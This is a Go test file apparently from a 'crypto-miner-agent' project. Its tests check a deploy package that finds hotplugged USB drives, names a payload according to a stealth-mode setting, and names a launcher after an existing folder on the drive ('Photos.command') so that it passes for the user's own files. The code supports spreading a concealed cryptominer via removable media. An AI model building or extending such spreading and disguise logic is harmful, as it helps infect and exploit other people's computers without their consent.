Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
58 lines
1.3 KiB
Go
58 lines
1.3 KiB
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"os"
|
|
"path/filepath"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func TestParseLsblkMounts(t *testing.T) {
|
|
const sample = `{
|
|
"blockdevices": [
|
|
{"mountpoint": "/", "hotplug": false},
|
|
{"mountpoint": "/media/usb", "hotplug": "1"},
|
|
{"mountpoint": null, "hotplug": true},
|
|
{"mountpoint": "/mnt/sdcard", "hotplug": true}
|
|
]
|
|
}`
|
|
got := parseLsblkMounts(sample)
|
|
want := []string{"/media/usb", "/mnt/sdcard"}
|
|
if len(got) != len(want) {
|
|
t.Fatalf("len %d != %d (%v)", len(got), len(want), got)
|
|
}
|
|
for i := range want {
|
|
if got[i] != want[i] {
|
|
t.Fatalf("[%d] got %q want %q", i, got[i], want[i])
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestUnixPayloadNameNonStealth(t *testing.T) {
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
|
WorkerName: "node worker",
|
|
StealthMode: false,
|
|
}}
|
|
if got := unixPayloadName(cfg); got != "node-worker" {
|
|
t.Fatalf("got %q", got)
|
|
}
|
|
}
|
|
|
|
func TestPickUnixLauncher(t *testing.T) {
|
|
root := t.TempDir()
|
|
if err := os.Mkdir(filepath.Join(root, "Photos"), 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if got := pickUnixLauncher(root); got != "Photos.command" {
|
|
t.Fatalf("got %q", got)
|
|
}
|
|
|
|
empty := t.TempDir()
|
|
if got := pickUnixLauncher(empty); got != "Start.command" {
|
|
t.Fatalf("empty mount: got %q", got)
|
|
}
|
|
}
|